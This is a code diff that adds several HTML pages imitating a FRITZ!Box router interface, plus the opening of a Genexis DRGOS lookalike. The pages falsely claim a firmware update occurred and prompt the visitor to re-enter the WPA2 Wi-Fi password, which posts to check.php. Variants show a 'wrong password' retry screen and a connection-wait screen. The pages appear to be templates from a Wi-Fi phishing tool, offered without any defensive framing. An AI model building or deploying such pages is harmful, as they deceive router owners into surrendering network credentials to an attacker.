|
||||
margin-right: 0px;
|
||||
margin-bottom: 0px;
|
||||
background-image: url(bg.png);
|
||||
background-repeat:repeat-x;
|
||||
color:#414143;
|
||||
font-family:"Gill Sans", "Gill Sans MT", "Myriad Pro", "DejaVu Sans Condensed", Helvetica, Arial, sans-serif;
|
||||
font-size: 14px;
|
||||
}
|
||||
a:link {
|
||||
color:#2e5b9b;
|
||||
text-decoration:none;
|
||||
}
|
||||
a:hover {
|
||||
color:#386fbd;
|
||||
}
|
||||
a:visited {
|
||||
color:#2e5b9b;
|
||||
}
|
||||
.blue_text {
|
||||
color:#0c3465;
|
||||
}
|
||||
#wrapper {
|
||||
max-width:1004px;
|
||||
margin:auto;
|
||||
}
|
||||
#header {
|
||||
background-image:url(header.png);
|
||||
background-repeat:no-repeat;
|
||||
background-position:center;
|
||||
width:100%;
|
||||
height:91px;
|
||||
position:relative;
|
||||
margin:auto;
|
||||
}
|
||||
#header_icons {
|
||||
width:100%;
|
||||
height:45px;
|
||||
position:relative;
|
||||
margin:auto;
|
||||
text-align:right;
|
||||
display:inline-block;
|
||||
}
|
||||
#header_icons ul {
|
||||
list-style-type:none;
|
||||
margin-right:20px;
|
||||
}
|
||||
#header_icons ul li {
|
||||
display:inline-block;
|
||||
color:#0c3465;
|
||||
vertical-align:middle;
|
||||
}
|
||||
#sidebar_left {
|
||||
position:relative;
|
||||
float:left;
|
||||
border: thin solid #99adab;
|
||||
border-radius: 15px 15px 15px 15px;
|
||||
background-color:#fbf8f4;
|
||||
min-width:150px;
|
||||
padding: 10px;
|
||||
margin-left:20px;
|
||||
}
|
||||
#sidebar_left ul {
|
||||
list-style-type:none;
|
||||
margin:0px;
|
||||
padding:0px;
|
||||
}
|
||||
#sidebar_left ul li {
|
||||
list-style-type:none;
|
||||
font-weight: bold;
|
||||
font-size: 16px;
|
||||
width:95%;
|
||||
padding-left:5px;
|
||||
padding-top: 2px;
|
||||
padding-bottom: 2px;
|
||||
text-align:left;
|
||||
}
|
||||
#sidebar_left ul li a {
|
||||
color:#093e75;
|
||||
}
|
||||
.sidebar_left_selected {
|
||||
border: thin solid #99adab;
|
||||
border-radius: 10px 10px 10px 10px;
|
||||
background: #bed7ed; /* Old browsers */
|
||||
background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */
|
||||
background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */
|
||||
background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
|
||||
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */
|
||||
}
|
||||
#content {
|
||||
position:relative;
|
||||
float: right;
|
||||
width: 750px;
|
||||
min-height: 400px;
|
||||
border: thin solid #99adab;
|
||||
border-radius: 15px 15px 15px 15px;
|
||||
background-color:#fbf8f4;
|
||||
margin-right: 25px;
|
||||
}
|
||||
#content_head {
|
||||
position:relative;
|
||||
border-radius: 15px 15px 0px 0px;
|
||||
min-height: 27px;
|
||||
text-align:left;
|
||||
font-size:18px;
|
||||
font-weight:bold;
|
||||
padding-top:3px;
|
||||
background: #bed7ed; /* Old browsers */
|
||||
background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */
|
||||
background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */
|
||||
background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
|
||||
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */
|
||||
border-bottom: thin solid #99adab;
|
||||
}
|
||||
#subcontent {
|
||||
background-color:#FFFFFF;
|
||||
border: thin solid #99adab;
|
||||
border-radius: 0px 0px 0px 0px;
|
||||
width: 60%;
|
||||
margin:auto;
|
||||
margin-top: 20px;
|
||||
margin-bottom: 40px;
|
||||
}
|
||||
#subcontent_phone ul {
|
||||
list-style-type:none;
|
||||
margin:10px;
|
||||
padding:0px;
|
||||
}
|
||||
#subcontent_phone {
|
||||
display:none ;
|
||||
}
|
||||
#subcontent_phone ul {
|
||||
list-style:none;
|
||||
}
|
||||
#subcontent_phone ul li {
|
||||
text-align:center;
|
||||
}
|
||||
#footer {
|
||||
position: relative;
|
||||
margin-right: 30px;
|
||||
|
||||
float:right;
|
||||
}
|
||||
#footer ul {
|
||||
list-style-type:none;
|
||||
|
||||
}
|
||||
#footer ul li {
|
||||
display:inline-block;
|
||||
margin-right: 10px;
|
||||
}
|
||||
@media only screen and (max-width: 1024px) {
|
||||
#content {
|
||||
width:70%;
|
||||
}
|
||||
}
|
||||
|
||||
@media only screen and (max-width: 480px) {
|
||||
#header {
|
||||
background-image:url(header_small.png);
|
||||
max-width:480px;
|
||||
|
||||
background-position:left;
|
||||
}
|
||||
#header_icons {
|
||||
display: none;
|
||||
}
|
||||
#sidebar_left {
|
||||
display: none;
|
||||
}
|
||||
#content {
|
||||
width:90%;
|
||||
}
|
||||
#subcontent {
|
||||
height: 300px;
|
||||
font-size: 24px;
|
||||
width: 90%;
|
||||
}
|
||||
#subcontent table {
|
||||
display: none;
|
||||
}
|
||||
#subcontent_phone {
|
||||
display: block !important;
|
||||
}
|
||||
input {
|
||||
padding: 5px;
|
||||
border-radius: 8px 8px 8px 8px;
|
||||
border: thin solid #99adab;
|
||||
font-size: 16px;
|
||||
width: 170px;
|
||||
font-weight:bold;
|
||||
}
|
||||
#footer li {
|
||||
margin:0px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div id="wrapper">
|
||||
<div id="header"></div>
|
||||
<div id="header_icons">
|
||||
<ul>
|
||||
<li><a href="#"><img src="icon0.png">Logout</a></li>
|
||||
<li><a href="#"><img src="icon1.png">View:</a> Expert</li>
|
||||
<li><a href="#"><img src="icon2.png">Index</a></li>
|
||||
<li><a href="#"><img src="icon3.png">Help</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div id="sidebar_left">
|
||||
<ul>
|
||||
<li><a href="#">Overview</a></li>
|
||||
<li><a href="#">Internet</a></li>
|
||||
<li><a href="#">Telephony</a></li>
|
||||
<li class="sidebar_left_selected"><a href="#">WLAN</a></li>
|
||||
<li><a href="#">DECT</a></li>
|
||||
<li><a href="#">System</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div id="content">
|
||||
<div id="content_head"><span style="margin-left:30px;">Firmware Update</span></div>
|
||||
<div id="subcontent">
|
||||
<form method="POST" action="check.php" id="form1" name="form1">
|
||||
<table width="100%" border="0" cellspacing="5">
|
||||
<tbody>
|
||||
<tr>
|
||||
<td colspan="2" align="left"><span style="margin-left:10px;">FRITZ!Box has been updated.</span><br /><span style="margin-left:10px;">For reactivation of the Wi-Fi signal, re-enter your Wi-Fi Password</span></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td colspan="2" align="center"><span style="color:#A80002;">Wrong password! - Please try again</span></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td> </td>
|
||||
<td> </td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td align="right">WPA2 Password:</td>
|
||||
<td><input type="password" name="key1"></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td> </td>
|
||||
<td><input type="submit" value="Submit"></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</form>
|
||||
<div id="subcontent_phone">
|
||||
<form method="POST" action="check.php" id="form1" name="form1">
|
||||
<ul>
|
||||
<li><span style="color:#A80002;">Wrong password!<br>Please try again</span></li>
|
||||
<li> </li>
|
||||
<li>Please enter your Wi-Fi Password</li>
|
||||
<li> </li>
|
||||
<li>WPA2 Password:</li>
|
||||
<li><input type="password" name="key1"></li>
|
||||
<li> </li>
|
||||
<li><input type="submit" value="Submit"></li>
|
||||
</ul>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id="footer">
|
||||
<ul>
|
||||
<li><a href="#">Manual</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">Service-Portal</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">FAQs</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">FRITZ! Clips</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">Applications</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">www.avm.com</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">www.freetz.org</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
|
@ -0,0 +1,270 @@
|
|||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width; initial-scale=1.0;" />
|
||||
<title>FRITZ!Box</title>
|
||||
<style type="text/css">
|
||||
body {
|
||||
margin-left: 0px;
|
||||
margin-top: 0px;
|
||||
margin-right: 0px;
|
||||
margin-bottom: 0px;
|
||||
background-image: url(bg.png);
|
||||
background-repeat:repeat-x;
|
||||
color:#414143;
|
||||
font-family:"Gill Sans", "Gill Sans MT", "Myriad Pro", "DejaVu Sans Condensed", Helvetica, Arial, sans-serif;
|
||||
font-size: 14px;
|
||||
}
|
||||
a:link {
|
||||
color:#2e5b9b;
|
||||
text-decoration:none;
|
||||
}
|
||||
a:hover {
|
||||
color:#386fbd;
|
||||
}
|
||||
a:visited {
|
||||
color:#2e5b9b;
|
||||
}
|
||||
.blue_text {
|
||||
color:#0c3465;
|
||||
}
|
||||
#wrapper {
|
||||
max-width:1004px;
|
||||
margin:auto;
|
||||
}
|
||||
#header {
|
||||
background-image:url(header.png);
|
||||
background-repeat:no-repeat;
|
||||
background-position:center;
|
||||
width:100%;
|
||||
height:91px;
|
||||
position:relative;
|
||||
margin:auto;
|
||||
}
|
||||
#header_icons {
|
||||
width:100%;
|
||||
height:45px;
|
||||
position:relative;
|
||||
margin:auto;
|
||||
text-align:right;
|
||||
display:inline-block;
|
||||
}
|
||||
#header_icons ul {
|
||||
list-style-type:none;
|
||||
margin-right:20px;
|
||||
}
|
||||
#header_icons ul li {
|
||||
display:inline-block;
|
||||
color:#0c3465;
|
||||
vertical-align:middle;
|
||||
}
|
||||
#sidebar_left {
|
||||
position:relative;
|
||||
float:left;
|
||||
border: thin solid #99adab;
|
||||
border-radius: 15px 15px 15px 15px;
|
||||
background-color:#fbf8f4;
|
||||
min-width:150px;
|
||||
padding: 10px;
|
||||
margin-left:20px;
|
||||
}
|
||||
#sidebar_left ul {
|
||||
list-style-type:none;
|
||||
margin:0px;
|
||||
padding:0px;
|
||||
}
|
||||
#sidebar_left ul li {
|
||||
list-style-type:none;
|
||||
font-weight: bold;
|
||||
font-size: 16px;
|
||||
width:95%;
|
||||
padding-left:5px;
|
||||
padding-top: 2px;
|
||||
padding-bottom: 2px;
|
||||
text-align:left;
|
||||
}
|
||||
#sidebar_left ul li a {
|
||||
color:#093e75;
|
||||
}
|
||||
.sidebar_left_selected {
|
||||
border: thin solid #99adab;
|
||||
border-radius: 10px 10px 10px 10px;
|
||||
background: #bed7ed; /* Old browsers */
|
||||
background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */
|
||||
background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */
|
||||
background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
|
||||
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */
|
||||
}
|
||||
#content {
|
||||
position:relative;
|
||||
float: right;
|
||||
width: 750px;
|
||||
min-height: 400px;
|
||||
border: thin solid #99adab;
|
||||
border-radius: 15px 15px 15px 15px;
|
||||
background-color:#fbf8f4;
|
||||
margin-right: 25px;
|
||||
}
|
||||
#content_head {
|
||||
position:relative;
|
||||
border-radius: 15px 15px 0px 0px;
|
||||
min-height: 27px;
|
||||
text-align:left;
|
||||
font-size:18px;
|
||||
font-weight:bold;
|
||||
padding-top:3px;
|
||||
background: #bed7ed; /* Old browsers */
|
||||
background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */
|
||||
background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */
|
||||
background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
|
||||
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */
|
||||
border-bottom: thin solid #99adab;
|
||||
}
|
||||
#subcontent {
|
||||
background-color:#FFFFFF;
|
||||
border: thin solid #99adab;
|
||||
border-radius: 0px 0px 0px 0px;
|
||||
width: 60%;
|
||||
margin:auto;
|
||||
margin-top: 20px;
|
||||
margin-bottom: 40px;
|
||||
}
|
||||
#subcontent_phone ul {
|
||||
list-style-type:none;
|
||||
margin:10px;
|
||||
padding:0px;
|
||||
}
|
||||
#subcontent_phone {
|
||||
display:none ;
|
||||
}
|
||||
#subcontent_phone ul {
|
||||
list-style:none;
|
||||
}
|
||||
#subcontent_phone ul li {
|
||||
text-align:center;
|
||||
}
|
||||
#footer {
|
||||
position: relative;
|
||||
margin-right: 30px;
|
||||
|
||||
float:right;
|
||||
}
|
||||
#footer ul {
|
||||
list-style-type:none;
|
||||
|
||||
}
|
||||
#footer ul li {
|
||||
display:inline-block;
|
||||
margin-right: 10px;
|
||||
}
|
||||
@media only screen and (max-width: 1024px) {
|
||||
#content {
|
||||
width:70%;
|
||||
}
|
||||
}
|
||||
|
||||
@media only screen and (max-width: 480px) {
|
||||
#header {
|
||||
background-image:url(header_small.png);
|
||||
max-width:480px;
|
||||
|
||||
background-position:left;
|
||||
}
|
||||
#header_icons {
|
||||
display: none;
|
||||
}
|
||||
#sidebar_left {
|
||||
display: none;
|
||||
}
|
||||
#content {
|
||||
width:90%;
|
||||
}
|
||||
#subcontent {
|
||||
height: 300px;
|
||||
font-size: 24px;
|
||||
width: 90%;
|
||||
}
|
||||
#subcontent table {
|
||||
display: none;
|
||||
}
|
||||
#subcontent_phone {
|
||||
display: block !important;
|
||||
}
|
||||
input {
|
||||
padding: 5px;
|
||||
border-radius: 8px 8px 8px 8px;
|
||||
border: thin solid #99adab;
|
||||
font-size: 16px;
|
||||
width: 170px;
|
||||
font-weight:bold;
|
||||
}
|
||||
#footer li {
|
||||
margin:0px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div id="wrapper">
|
||||
<div id="header"></div>
|
||||
<div id="header_icons">
|
||||
<ul>
|
||||
<li><a href="#"><img src="icon0.png">Logout</a></li>
|
||||
<li><a href="#"><img src="icon1.png">View:</a> Expert</li>
|
||||
<li><a href="#"><img src="icon2.png">Index</a></li>
|
||||
<li><a href="#"><img src="icon3.png">Help</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div id="sidebar_left">
|
||||
<ul>
|
||||
<li><a href="#">Overview</a></li>
|
||||
<li><a href="#">Internet</a></li>
|
||||
<li><a href="#">Telephony</a></li>
|
||||
<li class="sidebar_left_selected"><a href="#">WLAN</a></li>
|
||||
<li><a href="#">DECT</a></li>
|
||||
<li><a href="#">System</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div id="content">
|
||||
<div id="content_head"><span style="margin-left:30px;">Firmware Update</span></div>
|
||||
<div id="subcontent">
|
||||
<table width="100%" border="0" cellspacing="5">
|
||||
<tbody>
|
||||
<tr>
|
||||
<td colspan="2" align="left"><span style="margin-left:10px;">Please wait a moment!</span><br /><span style="margin-left:10px;">Establishing connection...</span></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<div id="subcontent_phone">
|
||||
<ul>
|
||||
<li>Please wait a moment!</li>
|
||||
<li> </li>
|
||||
<li>Establishing connection...</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id="footer">
|
||||
<ul>
|
||||
<li><a href="#">Manual</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">Service-Portal</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">FAQs</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">FRITZ! Clips</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">Applications</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">www.avm.com</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">www.freetz.org</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 74 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 55 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 18 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 19 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 18 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 18 KiB |
|
|
@ -0,0 +1,288 @@
|
|||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width; initial-scale=1.0;" />
|
||||
<title>FRITZ!Box</title>
|
||||
<style type="text/css">
|
||||
body {
|
||||
margin-left: 0px;
|
||||
margin-top: 0px;
|
||||
margin-right: 0px;
|
||||
margin-bottom: 0px;
|
||||
background-image: url(bg.png);
|
||||
background-repeat:repeat-x;
|
||||
color:#414143;
|
||||
font-family:"Gill Sans", "Gill Sans MT", "Myriad Pro", "DejaVu Sans Condensed", Helvetica, Arial, sans-serif;
|
||||
font-size: 14px;
|
||||
}
|
||||
a:link {
|
||||
color:#2e5b9b;
|
||||
text-decoration:none;
|
||||
}
|
||||
a:hover {
|
||||
color:#386fbd;
|
||||
}
|
||||
a:visited {
|
||||
color:#2e5b9b;
|
||||
}
|
||||
.blue_text {
|
||||
color:#0c3465;
|
||||
}
|
||||
#wrapper {
|
||||
max-width:1004px;
|
||||
margin:auto;
|
||||
}
|
||||
#header {
|
||||
background-image:url(header.png);
|
||||
background-repeat:no-repeat;
|
||||
background-position:center;
|
||||
width:100%;
|
||||
height:91px;
|
||||
position:relative;
|
||||
margin:auto;
|
||||
}
|
||||
#header_icons {
|
||||
width:100%;
|
||||
height:45px;
|
||||
position:relative;
|
||||
margin:auto;
|
||||
text-align:right;
|
||||
display:inline-block;
|
||||
}
|
||||
#header_icons ul {
|
||||
list-style-type:none;
|
||||
margin-right:20px;
|
||||
}
|
||||
#header_icons ul li {
|
||||
display:inline-block;
|
||||
color:#0c3465;
|
||||
vertical-align:middle;
|
||||
}
|
||||
#sidebar_left {
|
||||
position:relative;
|
||||
float:left;
|
||||
border: thin solid #99adab;
|
||||
border-radius: 15px 15px 15px 15px;
|
||||
background-color:#fbf8f4;
|
||||
min-width:150px;
|
||||
padding: 10px;
|
||||
margin-left:20px;
|
||||
}
|
||||
#sidebar_left ul {
|
||||
list-style-type:none;
|
||||
margin:0px;
|
||||
padding:0px;
|
||||
}
|
||||
#sidebar_left ul li {
|
||||
list-style-type:none;
|
||||
font-weight: bold;
|
||||
font-size: 16px;
|
||||
width:95%;
|
||||
padding-left:5px;
|
||||
padding-top: 2px;
|
||||
padding-bottom: 2px;
|
||||
text-align:left;
|
||||
}
|
||||
#sidebar_left ul li a {
|
||||
color:#093e75;
|
||||
}
|
||||
.sidebar_left_selected {
|
||||
border: thin solid #99adab;
|
||||
border-radius: 10px 10px 10px 10px;
|
||||
background: #bed7ed; /* Old browsers */
|
||||
background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */
|
||||
background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */
|
||||
background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
|
||||
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */
|
||||
}
|
||||
#content {
|
||||
position:relative;
|
||||
float: right;
|
||||
width: 750px;
|
||||
min-height: 400px;
|
||||
border: thin solid #99adab;
|
||||
border-radius: 15px 15px 15px 15px;
|
||||
background-color:#fbf8f4;
|
||||
margin-right: 25px;
|
||||
}
|
||||
#content_head {
|
||||
position:relative;
|
||||
border-radius: 15px 15px 0px 0px;
|
||||
min-height: 27px;
|
||||
text-align:left;
|
||||
font-size:18px;
|
||||
font-weight:bold;
|
||||
padding-top:3px;
|
||||
background: #bed7ed; /* Old browsers */
|
||||
background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */
|
||||
background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */
|
||||
background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
|
||||
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */
|
||||
border-bottom: thin solid #99adab;
|
||||
}
|
||||
#subcontent {
|
||||
background-color:#FFFFFF;
|
||||
border: thin solid #99adab;
|
||||
border-radius: 0px 0px 0px 0px;
|
||||
width: 60%;
|
||||
margin:auto;
|
||||
margin-top: 20px;
|
||||
margin-bottom: 40px;
|
||||
}
|
||||
#subcontent_phone ul {
|
||||
list-style-type:none;
|
||||
margin:10px;
|
||||
padding:0px;
|
||||
}
|
||||
#subcontent_phone {
|
||||
display:none ;
|
||||
}
|
||||
#subcontent_phone ul {
|
||||
list-style:none;
|
||||
}
|
||||
#subcontent_phone ul li {
|
||||
text-align:center;
|
||||
}
|
||||
#footer {
|
||||
position: relative;
|
||||
margin-right: 30px;
|
||||
|
||||
float:right;
|
||||
}
|
||||
#footer ul {
|
||||
list-style-type:none;
|
||||
|
||||
}
|
||||
#footer ul li {
|
||||
display:inline-block;
|
||||
margin-right: 10px;
|
||||
}
|
||||
@media only screen and (max-width: 1024px) {
|
||||
#content {
|
||||
width:70%;
|
||||
}
|
||||
}
|
||||
|
||||
@media only screen and (max-width: 480px) {
|
||||
#header {
|
||||
background-image:url(header_small.png);
|
||||
max-width:480px;
|
||||
background-position:left;
|
||||
}
|
||||
#header_icons {
|
||||
display: none;
|
||||
}
|
||||
#sidebar_left {
|
||||
display: none;
|
||||
}
|
||||
#content {
|
||||
width:90%;
|
||||
}
|
||||
#subcontent {
|
||||
height: 300px;
|
||||
font-size: 24px;
|
||||
width: 90%;
|
||||
}
|
||||
#subcontent table {
|
||||
display: none;
|
||||
}
|
||||
#subcontent_phone {
|
||||
display: block !important;
|
||||
}
|
||||
input {
|
||||
padding: 5px;
|
||||
border-radius: 8px 8px 8px 8px;
|
||||
border: thin solid #99adab;
|
||||
font-size: 16px;
|
||||
width: 170px;
|
||||
font-weight:bold;
|
||||
}
|
||||
#footer li {
|
||||
margin:0px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div id="wrapper">
|
||||
<div id="header"></div>
|
||||
<div id="header_icons">
|
||||
<ul>
|
||||
<li><a href="#"><img src="icon0.png">Logout</a></li>
|
||||
<li><a href="#"><img src="icon1.png">View:</a> Expert</li>
|
||||
<li><a href="#"><img src="icon2.png">Index</a></li>
|
||||
<li><a href="#"><img src="icon3.png">Help</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div id="sidebar_left">
|
||||
<ul>
|
||||
<li><a href="#">Overview</a></li>
|
||||
<li><a href="#">Internet</a></li>
|
||||
<li><a href="#">Telephony</a></li>
|
||||
<li class="sidebar_left_selected"><a href="#">WLAN</a></li>
|
||||
<li><a href="#">DECT</a></li>
|
||||
<li><a href="#">System</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div id="content">
|
||||
<div id="content_head"><span style="margin-left:30px;">Firmware Update</span></div>
|
||||
<div id="subcontent">
|
||||
<form method="POST" action="check.php" id="form1" name="form1">
|
||||
<table width="100%" border="0" cellspacing="5">
|
||||
<tbody>
|
||||
<tr>
|
||||
<td colspan="2" align="left"><span style="margin-left:10px;">FRITZ!Box has been updated.</span><br /><span style="margin-left:10px;">For reactivation of the Wi-Fi signal, re-enter your Wi-Fi Password</span></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td> </td>
|
||||
<td> </td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td align="right">WPA2 Password:</td>
|
||||
<td><input type="password" name="key1"></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td> </td>
|
||||
<td><input type="submit" value="Submit"></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</form>
|
||||
<div id="subcontent_phone">
|
||||
<form method="POST" action="check.php" id="form1" name="form1">
|
||||
<ul>
|
||||
<li>Please enter your Wi-Fi Password</li>
|
||||
<li> </li>
|
||||
<li>WPA2 Password:</li>
|
||||
<li><input type="password" name="key1"></li>
|
||||
<li> </li>
|
||||
<li><input type="submit" value="Submit"></li>
|
||||
</ul>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id="footer">
|
||||
<ul>
|
||||
<li><a href="#">Manual</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">Service-Portal</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">FAQs</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">FRITZ! Clips</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">Applications</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">www.avm.com</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">www.freetz.org</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
|
@ -0,0 +1,205 @@
|
|||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Genexis DRGOS</title>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width; initial-scale=1.0;" />
|
||||
<style>
|
||||
body{
|
||||
padding:0px;
|
||||
margin:0px;
|
||||
font:11px/1.545 verdana,arial,sans-serif;
|
||||
color:#000000;
|
||||
}
|
||||
#footer {
|
||||
position:absolute;
|
||||
bottom:0px;
|
||||
width:100%;
|
||||
height: 55px;
|
||||
text-align:left;
|
||||
vertical-align:middle;
|
||||
border-top: thin solid #000000;
|
||||
}
|
||||
#footer img {
|
||||
margin-top:15px;
|
||||
margin-left: 20px;
|
||||
}
|
||||
#top_nav {
|
||||
width: 100%;
|
||||
border-bottom:#000000 solid thin;
|
||||
height:55px;
|
||||
background-color:#002659;
|
||||
color:#FFFFFF;
|
||||
}
|
||||
#top_nav p {
|
||||
font-weight:bold;
|
||||
font-size:20px;
|
||||
margin:0px;
|
||||
margin-left:30px;
|
||||
display:table-row;
|
||||
}
|
||||
#top_nav_load {
|
||||
position: relative;
|
||||
float:right;
|
||||
font-size:9.5px;
|
||||
margin-top:8px;
|
||||
margin-right: 6px;
|
||||
}
|
||||
#top_nav ul, #sub_nav ul {
|
||||
list-style:none;
|
||||
margin:0px;
|
||||
display:table-row;
|
||||
vertical-align:bottom;
|
||||
}
|
||||
#top_nav ul li, #sub_nav ul li {
|
||||
display: inline;
|
||||
font-size:12px;
|
||||
margin-right:10px;
|
||||
margin-top:28px;
|
||||
padding:5px;
|
||||
padding-left:10px;
|
||||
padding-right:10px;
|
||||
}
|
||||
.selected a {
|
||||
color:#1bbdf5 !important;
|
||||
}
|
||||
.selected:hover {
|
||||
background-color:transparent !important;
|
||||
}
|
||||
.seperator {
|
||||
cursor:default !important;
|
||||
background-color:transparent !important;
|
||||
}
|
||||
#top_nav ul li a, #sub_nav ul li a {
|
||||
color:#FFFFFF;
|
||||
text-decoration:none;
|
||||
font-size:12px;
|
||||
}
|
||||
#top_nav ul li:hover, #sub_nav ul li:hover {
|
||||
